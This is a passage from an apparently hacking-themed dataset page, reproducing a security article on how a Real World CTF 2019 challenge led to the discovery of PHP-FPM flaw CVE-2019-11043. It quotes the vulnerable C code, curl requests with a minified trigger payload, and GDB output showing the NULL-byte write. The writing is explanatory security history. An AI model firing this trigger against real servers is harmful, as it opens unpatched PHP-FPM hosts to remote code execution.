Datasets:
Devilishcode
/
hacking

Dataset card Data Studio Files
xet
 Community
text
stringlengths
0
1.99k
I think this bypass also echoes what we mentioned earlier about
"cross-application" - security is never confined to just one dimension.
Sometimes, shifting your perspective a bit can magically turn those
seemingly rock-solid protections into just a piece of cake! ;)
------[ 5.2 - From CTF to Real World!
For a long time, CTFs have carried a kind of *original sin* - being
criticized for putting too much emphasis on tricky techniques. As the
technical bar kept rising, some challenges grew a bit overly contrived,
giving people the impression that CTFs were becoming "disconnected from
reality." That's exactly what gave birth to competitions like Real World
CTF - aiming to ground every challenge in real-world applications and
bring focus back to practical, realistic hacking scenarios!
At Real World CTF 2019, the organizers set up a challenge using Nginx +
PHP, expecting players to bypass the built-in XSS Auditor in the latest
Chrome to steal the admin's cookie. Obviously, this was a challenge
focusing on frontend security - but while messing around with the server,
@d90pwn noticed something unusual happening on the backend. Specifically,
he found that if the URL contained a newline, the server would
unexpectedly respond with additional internal information.
--------------------------[ PHP-FPM is Bleeding? ]-------------------------
$ curl http://orange.local/test.php/AAAAAAAAA
string(10) "/AAAAAAAAA"
$ curl http://orange.local/test.php/AAAAA%0AB
string(7) "TH_INFO" <= WTF!?
---------------------------------------------------------------------------
Although @d90pwn didn't manage to crack this challenge during the
competition, his post-event analysis (along with @neex and @beched)
unexpectedly exposed a serious vulnerability in PHP-FPM. The entire issue
started from an unintended behavior in Nginx - while processing URLs
containing newlines, Nginx mistakenly passed an empty `PATH_INFO` to the
backend PHP-FPM. Meanwhile, PHP-FPM always assumed that variable could
never be empty, causing its internal logic to miscalculate the offset.
This mistake eventually made the `path_info` point just before its
intended buffer - giving attackers a chance to zero out that location!
=> CVE-2019-11043: A Buffer Underflow leads to a single NULL-byte write!
---------------------------------------------------------------------------
char *env_path_info = FCGI_GETENV(request, "PATH_INFO");
int pilen = env_path_info ? strlen(env_path_info) : 0;
if (apache_was_here) {
path_info = script_path_translated + ptlen;
} else {
// [1] `path_info` *UNDERFLOWS*, pointing before its intended buffer
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
}
old = path_info[0];
path_info[0] = 0; // <--- [2] single NULL-byte write!
---------------------------------------------------------------------------
But how could a single NULL-byte write lead to an RCE? Here's the
ingenious part: @neex skillfully abused PHP-FPM's inetrnal memory
allocation for CGI variables. By overwriting the LSB (least significant
bit) of the `pos` field in the structure to `0`, he was able to overwrite
existing variable contents on the subsequent write. Combined with some
Hash Table magic, he successfully crafted a pure data-only attack -
performing full RCE without any memory read/write primitives at all [83]!
Honestly, the entire exploit was incredibly neat and packed with details.
Looking back through PHP's history, it's extremely rare to see
vulnerabilities that can directly cause RCE without any dangerous
functions or scripts at all. On top of that, this bug was also hard to
uncover through traditional fuzzing. To trigger it, you had to not only
leverage a specific edge case in Nginx, but also deal with PHP's internal
contiguous memory allocations, making it way harder for tools like ASAN to
catch - all of these truly make it a remarkable vulnerability in PHP
history!
So, without something like the CTF scene - where groups of hackers
intensively focus on seemingly minor details through trial and error - who
knows how long this bug would've stayed hidden?
+---------------------[ Exploit PHP-FPM Like a Boss! ]--------------------+
=> [1] a minified payload to trigger the NULL-byte write!
$ curl http://orange.local/index.php/%0A$(printf %032d)?$(printf %01759d)
[...Switching to GDB]
Breakpoint 1, init_request_info () at ./sapi/fpm/fpm/fpm_main.c:1222
1222 path_info[0] = 0;
1: /x path_info = 0x55a371abfd60
2: /x request.env.data = 0x55a371abfd60
|-------------------------------- [ next ] -------------------------------|